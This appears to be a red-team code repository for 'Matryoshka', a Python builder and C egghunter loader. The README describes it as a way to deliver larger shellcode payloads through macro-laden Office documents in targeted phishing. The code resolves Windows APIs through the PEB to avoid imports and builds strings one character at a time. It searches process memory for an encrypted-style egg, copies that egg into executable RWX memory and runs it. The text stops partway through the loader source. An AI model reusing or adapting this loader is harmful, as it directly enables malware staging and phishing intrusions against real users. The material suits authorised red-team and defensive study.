├── .gitignore ├── README.md ├── builder ├── matryoshka.py ├── requirements.txt └── templates │ ├── x64 │ └── Matryoshka.dll │ └── x86 │ └── Matryoshka.dll └── src └── Matryoshka ├── Matryoshka.sln └── Matryoshka ├── Matryoshka.vcxproj ├── Matryoshka.vcxproj.filters ├── Matryoshka.vcxproj.user ├── api.h ├── crt.h ├── debug.h ├── funcs.h ├── matryoshka.c ├── matryoshka.h └── peb.h /.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__/ 2 | *.py[cod] 3 | .DS_Store 4 | **/.DS_Store 5 | bin/ 6 | obj/ 7 | **Debug/* 8 | **Release/* 9 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Overview 2 | Matryoshka loader is a tool that red team operators can leverage to generate shellcode for an egghunter to bypass size-limitations and performance issues commonly associated with VBA or Excel 4.0 macro payloads when creating Microsoft Office documents for targeted phishing attacks. 3 | 4 | # Usage 5 | The builder supports the following set of arguments. The user must supply an egg value along with the required architecture for the egghunter shellcode. When invoked the egghunter will search through the process memory to identify the egg, copies it to RWX memory, and then transfers control to it. 6 | 7 | ``` 8 | usage: matryoshka.py [-h] -s SHELLCODE -a ARCHITECTURE -o OUTPUT_SHELLCODE -e OUTPUT_EGG [-n] 9 | 10 | Matryoshka Loader Shellcode Generator 11 | 12 | optional arguments: 13 | -h, --help show this help message and exit 14 | -s SHELLCODE, --shellcode SHELLCODE 15 | Path to shellcode file 16 | -a ARCHITECTURE, --architecture ARCHITECTURE 17 | Payload architecture to target (x86 or x86_64) 18 | -o OUTPUT_SHELLCODE, --output-shellcode OUTPUT_SHELLCODE 19 | Path to write Matryoshka shellcode to 20 | -e OUTPUT_EGG, --output-egg OUTPUT_EGG 21 | Path to write Egg value to 22 | -n, --no-spawn-thread 23 | Do not spawn a new thread when running the stager (may cause stability issues) 24 | ```` 25 | 26 | # Directory Structure 27 | Matryoshka consists of two primary components. The first is the core loader written in C and the second component is the builder script written in Python. The builder is responsible for generating a preamble that handles bootstrapping tasks to launch the core loader and is responsible for passing an embedded configuration to the core loader. 28 | 29 | - src: The src directory contains the source code for the core loader. 30 | - builder: The builder directory contains the source code for the builder. 31 | 32 | # References 33 | [1] https://www.praetorian.com/blog/red-team-tooling-writing-custom-shellcode/ 34 | -------------------------------------------------------------------------------- /builder/matryoshka.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import argparse 4 | import os 5 | import pefile 6 | import struct 7 | import sys 8 | 9 | from Crypto.Cipher import ARC4 10 | 11 | class Config: 12 | MAGIC = 0xC0FFEE 13 | 14 | @classmethod 15 | def Generate(cls, size, pattern, key, flags): 16 | magic = struct.pack('I', cls.MAGIC) 17 | size = struct.pack('I', size) 18 | flag = struct.pack('H', flags) 19 | config = bytearray(magic) + pattern + flag 20 | 21 | return config 22 | 23 | class Egg: 24 | MAGIC = 0xFEEDFACE 25 | 26 | def __init__(self, payload): 27 | self.key = os.urandom(16) 28 | self.pattern = os.urandom(8) 29 | self.payload = payload 30 | 31 | def Generate(self): 32 | #cipher = ARC4.new(key) 33 | #msg = cipher.encrypt(payload) 34 | magic = bytearray(struct.pack('I', self.MAGIC)) 35 | size = struct.pack('I', len(self.payload)) 36 | 37 | return self.pattern + magic + size + self.payload 38 | 39 | def GetKey(self): 40 | return self.key 41 | 42 | def GetPattern(self): 43 | return self.pattern 44 | 45 | class Template: 46 | 47 | def __init__(self, path): 48 | self.pe = pefile.PE(path) 49 | 50 | for section in self.pe.sections: 51 | if section.Name.decode('ascii').rstrip('\x00') == '.text': 52 | self.section = section 53 | 54 | if not hasattr(self, 'section'): 55 | raise RuntimeError("Failed to find the .text section in the template PE") 56 | 57 | def GetOffset(self): 58 | entrypoint = self.pe.OPTIONAL_HEADER.AddressOfEntryPoint 59 | offset = entrypoint - self.section.VirtualAddress 60 | return offset 61 | 62 | def GetShellcode(self): 63 | return self.section.get_data() 64 | 65 | class Preamble: 66 | 67 | @staticmethod 68 | def GenerateX86(entrypoint): 69 | preamble_size = 28 70 | config_size = 14 71 | offset = entrypoint + preamble_size + config_size 72 | offset_config = preamble_size 73 | 74 | preamble = b'\xE8' + b'\x00\x00\x00\x00' # CALL 0 75 | preamble += b'\x58' # POP EAX 76 | preamble += b'\x83\xE8\x05' # SUB EAX, 5 77 | preamble += b'\x53' # PUSH EBX 78 | preamble += b'\x8B\xD8' # MOV EBX, EAX 79 | preamble += b'\x05' + struct.pack('I', offset) # ADD EAX, $OFFSET 80 | preamble += b'\x83\xC3' + struct.pack('B', offset_config) # ADD EBX, $OFFSET_CONFIG 81 | preamble += b'\x53' # PUSH EBX (EBX = Pointer to Config) 82 | preamble += b'\xFF\xD0' # CALL EAX 83 | preamble += b'\x83\xC4\x04' # ADD ESP, 4 84 | preamble += b'\x5B' # POP EBX 85 | preamble += b'\xC3' # RETN 86 | 87 | return preamble 88 | 89 | @staticmethod 90 | def GenerateX64(entrypoint): 91 | preamble_size = 44 92 | config_size = 14 93 | offset_loader = entrypoint + preamble_size + config_size 94 | offset_config = preamble_size 95 | 96 | preamble = b'\x48\x8d\x05\x00\x00\x00\x00' # LEA RAX, [RIP+0x0] 97 | preamble += b'\x48\x83\xE8\x07' # SUB RAX, 7 98 | preamble += b'\x51' # PUSH RCX 99 | preamble += b'\x48\x8B\xC8' # MOV RCX, RAX 100 | preamble += b'\x48\x05' + struct.pack('I', offset_loader) # ADD RAX, $OFFSET_LOADER 101 | preamble += b'\x48\x81\xC1' + struct.pack('I', offset_config) # ADD RCX, $OFFSET_CONFIG 102 | preamble += b'\x56' # PUSH RSI 103 | preamble += b'\x48\x8B\xF4' # MOV RSI, RSP 104 | preamble += b'\x48\x83\xEC\x20' # SUB RSP, 20 105 | preamble += b'\xFF\xD0' # CALL RAX 106 | preamble += b'\x48\x89\xF4' # MOV RSP, RSI 107 | preamble += b'\x5E' # POP RSI 108 | preamble += b'\x59' # POP RCX 109 | preamble += b'\xC3' # RET 110 | 111 | return preamble 112 | 113 | class Matryoshka: 114 | 115 | @staticmethod 116 | def Generate(payload, architecture, flags): 117 | if architecture.lower() == 'x86': 118 | return Matryoshka.GenerateX86(payload, flags) 119 | elif architecture.lower() == 'x86_64': 120 | return Matryoshka.GenerateX64(payload, flags) 121 | else: 122 | print("[-] Error must specify either x86 or x86_64 as the architecture") 123 | sys.exit(-1) 124 | 125 | @staticmethod 126 | def GenerateX86(payload, flags): 127 | print("[i] Opening the x64 shellcode template file") 128 | template = Template("templates/x86/Matryoshka.dll") 129 | 130 | offset = template.GetOffset() 131 | print("[i] Discovered entrypoint at offset: " + hex(offset)) 132 | 133 | shellcode = template.GetShellcode() 134 | egg = Egg(payload) 135 | 136 | print("[+] Generated the bootstrap preamble for the egghunter") 137 | preamble = Preamble.GenerateX86(offset) 138 | 139 | print("[i] Generating the egghunter configuration file") 140 | config = Config.Generate( 141 | len(payload), 142 | egg.GetPattern(), 143 | egg.GetKey(), 144 | flags 145 | ) 146 | 147 | print("[i] Combining the generated config, preamble, and loader") 148 | return preamble + config + template.GetShellcode(), egg.Generate() 149 | 150 | @staticmethod 151 | def GenerateX64(payload, flags): 152 | print("[i] Opening the x64 shellcode template file") 153 | template = Template("templates/x64/Matryoshka.dll") 154 | offset = template.GetOffset() 155 | shellcode = template.GetShellcode() 156 | 157 | print("[+] Generated the bootstrap preamble for the egghunter") 158 | preamble = Preamble.GenerateX64(offset) 159 | 160 | egg = Egg(payload) 161 | 162 | print("[i] Generating the egghunter configuration file") 163 | config = Config.Generate( 164 | len(payload), 165 | egg.GetPattern(), 166 | egg.GetKey(), 167 | flags 168 | ) 169 | 170 | print("[i] Combining the generated config, preamble, and loader") 171 | return preamble + config + template.GetShellcode(), egg.Generate() 172 | 173 | def main(): 174 | parser = argparse.ArgumentParser( 175 | description='Matryoshka Loader Shellcode Generator', add_help=True 176 | ) 177 | parser.add_argument( 178 | '-s', '--shellcode', help="Path to shellcode file", required=True 179 | ) 180 | parser.add_argument( 181 | '-a', '--architecture', help="Payload architecture to target (x86 or x86_64)", required=True 182 | ) 183 | parser.add_argument( 184 | '-o', '--output-shellcode', help="Path to write Matryoshka shellcode to", required=True 185 | ) 186 | parser.add_argument( 187 | '-e', '--output-egg', help="Path to write Egg value to", required=True 188 | ) 189 | parser.add_argument( 190 | '-n', '--no-spawn-thread', help="Do not spawn a new thread when running the stager (may cause stability issues)", action='store_true', required=False 191 | ) 192 | 193 | args = parser.parse_args() 194 | 195 | flags = 1 196 | if args.no_spawn_thread: 197 | flags = 0 198 | 199 | with open(args.shellcode, 'rb') as shellcode: 200 | print("[+] Opening the shellcode file specified by the user") 201 | payload = shellcode.read() 202 | result = Matryoshka.Generate(payload, args.architecture, flags) 203 | matryoshka = result[0] 204 | egg = result[1] 205 | 206 | print("[i] Writing the generated egghunter shellcode to disk") 207 | with open(args.output_shellcode, 'wb+') as file: 208 | file.write(matryoshka) 209 | 210 | print("[i] Writing the generated egg to disk") 211 | with open(args.output_egg, 'wb+') as file: 212 | file.write(egg) 213 | 214 | if __name__ == "__main__": 215 | main() 216 | -------------------------------------------------------------------------------- /builder/requirements.txt: -------------------------------------------------------------------------------- 1 | pefile 2 | -------------------------------------------------------------------------------- /builder/templates/x64/Matryoshka.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/praetorian-inc/Matryoshka/da3fe1c87ed7a14fb613e810dbfb36ca0fd08a53/builder/templates/x64/Matryoshka.dll -------------------------------------------------------------------------------- /builder/templates/x86/Matryoshka.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/praetorian-inc/Matryoshka/da3fe1c87ed7a14fb613e810dbfb36ca0fd08a53/builder/templates/x86/Matryoshka.dll -------------------------------------------------------------------------------- /src/Matryoshka/Matryoshka.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.31025.194 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Matryoshka", "Matryoshka\Matryoshka.vcxproj", "{2BA0AA2F-4728-4D7D-83DB-A260D5872695}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {2BA0AA2F-4728-4D7D-83DB-A260D5872695}.Debug|x64.ActiveCfg = Debug|x64 17 | {2BA0AA2F-4728-4D7D-83DB-A260D5872695}.Debug|x64.Build.0 = Debug|x64 18 | {2BA0AA2F-4728-4D7D-83DB-A260D5872695}.Debug|x86.ActiveCfg = Debug|Win32 19 | {2BA0AA2F-4728-4D7D-83DB-A260D5872695}.Debug|x86.Build.0 = Debug|Win32 20 | {2BA0AA2F-4728-4D7D-83DB-A260D5872695}.Release|x64.ActiveCfg = Release|x64 21 | {2BA0AA2F-4728-4D7D-83DB-A260D5872695}.Release|x64.Build.0 = Release|x64 22 | {2BA0AA2F-4728-4D7D-83DB-A260D5872695}.Release|x86.ActiveCfg = Release|Win32 23 | {2BA0AA2F-4728-4D7D-83DB-A260D5872695}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {06F8BD0A-0912-4C78-8D8F-CC96AB122CA3} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /src/Matryoshka/Matryoshka/Matryoshka.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 16.0 34 | Win32Proj 35 | {2ba0aa2f-4728-4d7d-83db-a260d5872695} 36 | Matryoshka 37 | 10.0 38 | 39 | 40 | 41 | Application 42 | true 43 | v142 44 | Unicode 45 | 46 | 47 | DynamicLibrary 48 | false 49 | v142 50 | true 51 | Unicode 52 | 53 | 54 | Application 55 | true 56 | v142 57 | Unicode 58 | 59 | 60 | DynamicLibrary 61 | false 62 | v142 63 | true 64 | Unicode 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | true 86 | 87 | 88 | false 89 | 90 | 91 | true 92 | 93 | 94 | false 95 | 96 | 97 | 98 | Level3 99 | true 100 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 101 | true 102 | 103 | 104 | Console 105 | true 106 | 107 | 108 | 109 | 110 | Level3 111 | false 112 | true 113 | true 114 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 115 | true 116 | Disabled 117 | MultiThreaded 118 | false 119 | false 120 | false 121 | 122 | 123 | Console 124 | true 125 | true 126 | true 127 | MatryoshkaEntrypoint 128 | 129 | 130 | 131 | 132 | Level3 133 | true 134 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 135 | true 136 | 137 | 138 | Console 139 | true 140 | 141 | 142 | 143 | 144 | Level3 145 | true 146 | true 147 | true 148 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 149 | true 150 | Disabled 151 | MultiThreaded 152 | false 153 | false 154 | false 155 | 156 | 157 | Console 158 | true 159 | true 160 | true 161 | MatryoshkaEntrypoint 162 | 163 | 164 | 165 | 166 | 167 | -------------------------------------------------------------------------------- /src/Matryoshka/Matryoshka/Matryoshka.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Header Files 20 | 21 | 22 | Header Files 23 | 24 | 25 | Header Files 26 | 27 | 28 | Header Files 29 | 30 | 31 | Header Files 32 | 33 | 34 | Header Files 35 | 36 | 37 | 38 | 39 | Source Files 40 | 41 | 42 | -------------------------------------------------------------------------------- /src/Matryoshka/Matryoshka/Matryoshka.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /src/Matryoshka/Matryoshka/api.h: -------------------------------------------------------------------------------- 1 | /** 2 | * @file apis.h 3 | * 4 | * @brief Code for position independent resolution of APIs by name 5 | * 6 | * Uses standard trick of using PEB to get base address of required DLLs 7 | * and then iterating over export address table to resolve addresses 8 | * of functions 9 | */ 10 | 11 | #pragma once 12 | 13 | // 14 | // Global Headers 15 | // 16 | 17 | #include 18 | #include 19 | 20 | // 21 | // Project Headers 22 | // 23 | 24 | #include "debug.h" 25 | #include "peb.h" 26 | 27 | // 28 | // Force MSVC to Generate Relative Call Instructions 29 | // 30 | 31 | #include "crt.h" 32 | 33 | /** 34 | * @brief Get base address of specified DLL from PEB 35 | */ 36 | PVOID GetDllBaseAddr( 37 | wchar_t* name 38 | ) 39 | { 40 | _PPEB peb = NULL; 41 | PPEB_LDR_DATA ldr = NULL; 42 | PLDR_DATA_TABLE_ENTRY modules = NULL; 43 | 44 | // 45 | // Get address of the loaded modules list from PEB 46 | // 47 | 48 | #if defined(_WIN64) 49 | peb = (_PPEB)__readgsqword(0x60); 50 | #else 51 | peb = (_PPEB)__readfsdword(0x30); 52 | #endif 53 | 54 | ldr = (PPEB_LDR_DATA)peb->pLdr; 55 | modules = (PLDR_DATA_TABLE_ENTRY)ldr->InMemoryOrderModuleList.Flink; 56 | 57 | // 58 | // Search for the specified module in the loaded modules list 59 | // 60 | 61 | while (modules && modules->DllBase) { 62 | if (crt_wcscmp(modules->BaseDllName.pBuffer, name) == 0) { 63 | return modules->DllBase; 64 | } 65 | 66 | modules = (PLDR_DATA_TABLE_ENTRY)modules->InMemoryOrderModuleList.Flink; 67 | } 68 | 69 | return NULL; 70 | } 71 | 72 | 73 | /** 74 | * @brief Looks for a specific function in the EAT of a specified DLL 75 | */ 76 | PVOID GetAPIByName( 77 | PCHAR module, 78 | PCHAR target_name 79 | ) 80 | { 81 | PCHAR function_name = NULL; 82 | PIMAGE_DOS_HEADER DosHeader = NULL; 83 | PIMAGE_NT_HEADERS NtHeader = NULL; 84 | PIMAGE_DATA_DIRECTORY directory = NULL; 85 | PIMAGE_EXPORT_DIRECTORY exports = NULL; 86 | 87 | PDWORD addresses = NULL, names = NULL; 88 | PWORD ordinals = NULL; 89 | 90 | DosHeader = (PIMAGE_DOS_HEADER)module; 91 | NtHeader = (PIMAGE_NT_HEADERS)(module + DosHeader->e_lfanew); 92 | 93 | directory = &NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; 94 | exports = (PIMAGE_EXPORT_DIRECTORY)(directory->VirtualAddress + module); 95 | 96 | addresses = (PDWORD)(module + exports->AddressOfFunctions); 97 | names = (PDWORD)(module + exports->AddressOfNames); 98 | ordinals = (PWORD)(module + exports->AddressOfNameOrdinals); 99 | 100 | // 101 | // Linear search over set of functions to locate function by user 102 | // specified hash 103 | // 104 | 105 | for (DWORD i = 0; i < exports->NumberOfFunctions; i++) { 106 | 107 | function_name = module + names[i]; 108 | 109 | if (crt_strcmp(target_name, function_name) == 0) { 110 | return module + addresses[ordinals[i]]; 111 | } 112 | 113 | } 114 | 115 | return NULL; 116 | } -------------------------------------------------------------------------------- /src/Matryoshka/Matryoshka/crt.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | void* crt_memcpy(void* dest, const void* src, unsigned int n) 6 | { 7 | unsigned long i; 8 | unsigned char* d = (unsigned char*)dest; 9 | unsigned char* s = (unsigned char*)src; 10 | 11 | for (i = 0; i < n; ++i) { 12 | d[i] = s[i]; 13 | } 14 | 15 | return dest; 16 | } 17 | 18 | int crt_strcmp(const char* s1, const char* s2) { 19 | while (*s1 != '\0' && *s2 != '\0' && *s1 == *s2) { 20 | s1++; 21 | s2++; 22 | } 23 | return *s1 - *s2; 24 | } 25 | 26 | int crt_wcscmp(const wchar_t* s1, const wchar_t* s2) 27 | { 28 | 29 | while (*s1 == *s2++) 30 | if (*s1++ == 0) 31 | return (0); 32 | 33 | return s1 - --s2; 34 | } -------------------------------------------------------------------------------- /src/Matryoshka/Matryoshka/debug.h: -------------------------------------------------------------------------------- 1 | /** 2 | * @brief Simple debugging tools 3 | */ 4 | 5 | #pragma once 6 | 7 | #ifdef _DEBUG 8 | #include 9 | #define debug(fmt, ...) printf(fmt, __VA_ARGS__) 10 | #else 11 | #define debug(fmt, ...) do {} while (0) 12 | #endif -------------------------------------------------------------------------------- /src/Matryoshka/Matryoshka/funcs.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | typedef HANDLE(WINAPI* CreateThread_T) 6 | ( 7 | LPSECURITY_ATTRIBUTES lpThreadAttributes, 8 | SIZE_T dwStackSize, 9 | LPTHREAD_START_ROUTINE lpStartAddress, 10 | LPVOID lpParameter, 11 | DWORD dwCreationFlags, 12 | LPDWORD lpThreadId 13 | ); 14 | 15 | typedef HMODULE(WINAPI* LoadLibrary_T) 16 | ( 17 | PCHAR lpFileName 18 | ); 19 | 20 | typedef FARPROC(WINAPI* GetLastError_T)(); 21 | 22 | typedef FARPROC(WINAPI* GetProcAddress_T) 23 | ( 24 | HMODULE hModule, 25 | PCHAR lpProcName 26 | ); 27 | 28 | typedef BOOL(WINAPI* IsBadReadPtr_T) 29 | ( 30 | const VOID* lp, 31 | UINT_PTR ucb 32 | ); 33 | 34 | typedef LPVOID(WINAPI* VirtualAlloc_T) 35 | ( 36 | LPVOID lpAddress, 37 | SIZE_T dwSize, 38 | DWORD flAllocationType, 39 | DWORD flProtect 40 | ); 41 | 42 | typedef FARPROC(WINAPI* VirtualQuery_T) 43 | ( 44 | HMODULE hModule, 45 | PCHAR lpProcName 46 | ); -------------------------------------------------------------------------------- /src/Matryoshka/Matryoshka/matryoshka.c: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // 4 | // Global Headers 5 | // 6 | 7 | #include 8 | 9 | // 10 | // Project Headers 11 | // 12 | 13 | #include "matryoshka.h" 14 | #include "debug.h" 15 | 16 | // 17 | // Force MSVC to generate relative call instructions 18 | // 19 | 20 | #include "api.h" 21 | #include "crt.h" 22 | 23 | // 24 | // Forward Declarations 25 | // 26 | 27 | BOOL MatryoshkaEntrypoint(matryoshka_loader_config_t* config); 28 | matryoshka_egg_t* MatryoshkaHunter(matryoshka_loader_config_t* config, matryoshka_state* state); 29 | BOOL MatryoshkaInitRuntime(matryoshka_state* state); 30 | BOOL MatryoshkaRunStage(matryoshka_loader_config_t* config, matryoshka_state* state, matryoshka_egg_t* egg); 31 | 32 | #ifdef _DEBUG 33 | BYTE egg_test[] = { 34 | // egg 35 | 0xFF, 0x12, 0x6F, 0xDA, 36 | 0xAB, 0x1C, 0x81, 0x9C, 37 | 38 | // magic 39 | 0xCE, 0xFA, 0xED, 0xFE, 40 | 41 | // size 42 | 0x04, 0x00, 0x00, 0x00, 43 | 44 | // payload 45 | 0xCC, 0xCC, 0xCC, 0xCC 46 | }; 47 | 48 | int main() { 49 | matryoshka_loader_config_t config; 50 | 51 | config.magic = MATRYOSHKA_CONFIG_MAGIC; 52 | config.egg_pattern[0] = 0xFF; 53 | config.egg_pattern[1] = 0x12; 54 | config.egg_pattern[2] = 0x6F; 55 | config.egg_pattern[3] = 0xDA; 56 | config.egg_pattern[4] = 0xAB; 57 | config.egg_pattern[5] = 0x1C; 58 | config.egg_pattern[6] = 0x81; 59 | config.egg_pattern[7] = 0x9C; 60 | 61 | config.flags.spawn_new_thread = 0; 62 | 63 | debug("[i] Egg_Test Address Is %p\n", egg_test); 64 | MatryoshkaEntrypoint(&config); 65 | } 66 | #endif 67 | 68 | /** 69 | * @brief Entrypoint of the loader shellcode 70 | */ 71 | BOOL MatryoshkaEntrypoint( 72 | matryoshka_loader_config_t *config 73 | ) 74 | { 75 | BOOL success = FALSE; 76 | matryoshka_state state = { 0 }; 77 | 78 | if (config->magic != MATRYOSHKA_CONFIG_MAGIC) { 79 | debug("[-] Error: Invalid Configuration File Passed to Matryoshka Loader\n"); 80 | return FALSE; 81 | } 82 | 83 | success = MatryoshkaInitRuntime(&state); 84 | if (success == FALSE) { 85 | debug("[-] Error unable to resolve required runtime dependencies\n"); 86 | return FALSE; 87 | } 88 | 89 | matryoshka_egg_t *egg = MatryoshkaHunter(config, &state); 90 | if (egg == NULL) { 91 | debug("[-] Error unable to find the egg specified within the config file\n"); 92 | return FALSE; 93 | } 94 | 95 | success = MatryoshkaRunStage(config, &state, egg); 96 | if (success == FALSE) { 97 | debug("[-] Error unable to execute payload\n"); 98 | return FALSE; 99 | } 100 | 101 | return TRUE; 102 | } 103 | 104 | /** 105 | * @brief Execute the stager 106 | */ 107 | BOOL MatryoshkaRunStage( 108 | matryoshka_loader_config_t* config, 109 | matryoshka_state* state, 110 | matryoshka_egg_t* egg 111 | ) 112 | { 113 | PBYTE rwx = state->runtime.VirtualAlloc(NULL, 114 | egg->egg_size, 115 | MEM_COMMIT, 116 | PAGE_EXECUTE_READWRITE); 117 | 118 | if (rwx == NULL) { 119 | debug("[-] Failed to Allocate Memory for Payload Execution\n"); 120 | return FALSE; 121 | } 122 | 123 | crt_memcpy(rwx, egg->stage, egg->egg_size); 124 | 125 | if (config->flags.spawn_new_thread) { 126 | debug("[i] Spawning a thread to run stager"); 127 | // TODO: Spoof thread start address so it doesn't point to 128 | // executable heap memory 129 | HANDLE hThread = state->runtime.CreateThread(NULL, 130 | 0, 131 | (LPTHREAD_START_ROUTINE)rwx, 132 | NULL, 133 | 0, 134 | 0); 135 | 136 | if (hThread == NULL) { 137 | debug("[-] CreateThread Failed"); 138 | return FALSE; 139 | } 140 | } 141 | else { 142 | debug("[i] Executing the second stage payload using the current thread"); 143 | ((void(*)())rwx)(); 144 | } 145 | 146 | return TRUE; 147 | } 148 | 149 | /** 150 | * @brief Egghunter that searches for egg pattern specified in the configuration file 151 | */ 152 | matryoshka_egg_t* MatryoshkaHunter( 153 | matryoshka_loader_config_t *config, 154 | matryoshka_state *state 155 | ) 156 | { 157 | PBYTE MinAddress = 0x00000000; 158 | PBYTE position = MinAddress; 159 | MEMORY_BASIC_INFORMATION region = { 0 }; 160 | 161 | do 162 | { 163 | DWORD result = state->runtime.VirtualQuery(position, ®ion, sizeof(region)); 164 | debug("[i] Base Address: %p, Result = %d\n", region.BaseAddress, result); 165 | 166 | if (result == 0) { 167 | debug("[-] Unable to find egg value (VirtualQuery failed)\n"); 168 | return NULL; 169 | } 170 | 171 | if (region.State & MEM_COMMIT && region.AllocationProtect & ~PAGE_GUARD && region.Protect != PAGE_NOACCESS) { 172 | if (region.Type == MEM_MAPPED || region.Type == MEM_IMAGE) { 173 | PBYTE start = region.BaseAddress; 174 | PBYTE end = (PBYTE)region.BaseAddress + region.RegionSize; 175 | SIZE_T matched = 0; 176 | 177 | for (SIZE_T i = 0; i < region.RegionSize; i++) { 178 | matched = (start[i] == config->egg_pattern[matched]) ? matched += 1 : 0; 179 | 180 | if (matched == sizeof(config->egg_pattern)) { 181 | if (&start[i] + sizeof(matryoshka_egg_t) < end) { 182 | matryoshka_egg_t* egg = (matryoshka_egg_t*)&start[i + 1]; 183 | if (egg->magic == MATRYOSHKA_EGG_MAGIC) { 184 | debug("start: %p\n", &start[i] - sizeof(config->egg_pattern) + 1); 185 | debug("egg_test: %p\n", &egg_test); 186 | debug("egg_size: %d\n", egg->egg_size); 187 | return &start[i + 1]; 188 | } 189 | else { 190 | matched = 0; 191 | } 192 | } 193 | } 194 | } 195 | } 196 | } 197 | position = (PBYTE)region.BaseAddress + region.RegionSize; 198 | } while (position != MinAddress); 199 | 200 | return NULL; 201 | } 202 | 203 | /** 204 | * @brief Resolve addresses of external subroutine dependencies 205 | */ 206 | BOOL MatryoshkaInitRuntime( 207 | matryoshka_state *state 208 | ) 209 | { 210 | PVOID kernel32base = NULL; 211 | wchar_t Kernel32WStr[] = { 'K', 'E', 'R', 'N' ,'E' ,'L', '3', '2', '.', 'D', 'L', 'L', '\0' }; 212 | char GetProcAddressStr[] = { 'G', 'e', 't', 'P', 'r', 'o', 'c', 'A', 'd', 'd', 'r', 'e', 's', 's', '\0' }; 213 | char LoadLibraryStr[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', '\0' }; 214 | 215 | char Kernel32Str[] = { 'K', 'E', 'R', 'N', 'E', 'L', '3', '2', '.', 'D', 'L', 'L', '\0' }; 216 | char CreateThreadStr[] = { 'C', 'r', 'e', 'a', 't', 'e', 'T', 'h', 'r', 'e', 'a', 'd', '\0' }; 217 | char VirtualAllocStr[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', '\0' }; 218 | char VirtualQueryStr[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'Q', 'u', 'e', 'r', 'y', '\0' }; 219 | char IsBadReadPtrStr[] = { 'I', 's', 'B', 'a', 'd', 'R', 'e', 'a', 'd', 'P', 't', 'r', '\0' }; 220 | 221 | debug("[i] Resolving Core Runtime Routines\n"); 222 | kernel32base = GetDllBaseAddr(Kernel32WStr); 223 | debug("Got Kernel32 Base Address: %p\n", kernel32base); 224 | 225 | if (kernel32base == NULL) { 226 | debug("[-] Error Unable to Resolve Address of Kernel32\n"); 227 | return FALSE; 228 | } 229 | 230 | // 231 | // Resolve the address of LoadLibrary and GetProcAddress 232 | // 233 | 234 | state->runtime.GetProcAddress = GetAPIByName(kernel32base, &GetProcAddressStr); 235 | if (state->runtime.GetProcAddress == NULL) { 236 | debug("[-] Unable to resolve address of GetProcAddress\n"); 237 | return FALSE; 238 | } 239 | 240 | state->runtime.LoadLibrary = GetAPIByName(kernel32base, &LoadLibraryStr); 241 | if (state->runtime.LoadLibrary == NULL) { 242 | debug("[-] Unable to resolve address of LoadLibraryA\n"); 243 | return FALSE; 244 | } 245 | 246 | // 247 | // Resolve Matryoshka Runtime Dependencies 248 | // 249 | 250 | HMODULE kernel32 = state->runtime.LoadLibrary(Kernel32Str); 251 | if (kernel32 == NULL) { 252 | debug("[-] Failed when attempting to reference kernel32.dll from LoadLibrary\n"); 253 | return FALSE; 254 | } 255 | 256 | state->runtime.CreateThread = state->runtime.GetProcAddress(kernel32, CreateThreadStr); 257 | if (state->runtime.CreateThread == NULL) { 258 | debug("[-] Unable to resolve address of CreateThread\n"); 259 | return FALSE; 260 | } 261 | 262 | state->runtime.IsBadReadPtr = state->runtime.GetProcAddress(kernel32, IsBadReadPtrStr); 263 | if (state->runtime.IsBadReadPtr == NULL) { 264 | debug("[-] Unable to resolve address of IsBadReadPtr\n"); 265 | return FALSE; 266 | } 267 | 268 | state->runtime.VirtualAlloc = state->runtime.GetProcAddress(kernel32, VirtualAllocStr); 269 | if (state->runtime.VirtualAlloc == NULL) { 270 | debug("[-] Unable to resolve address of 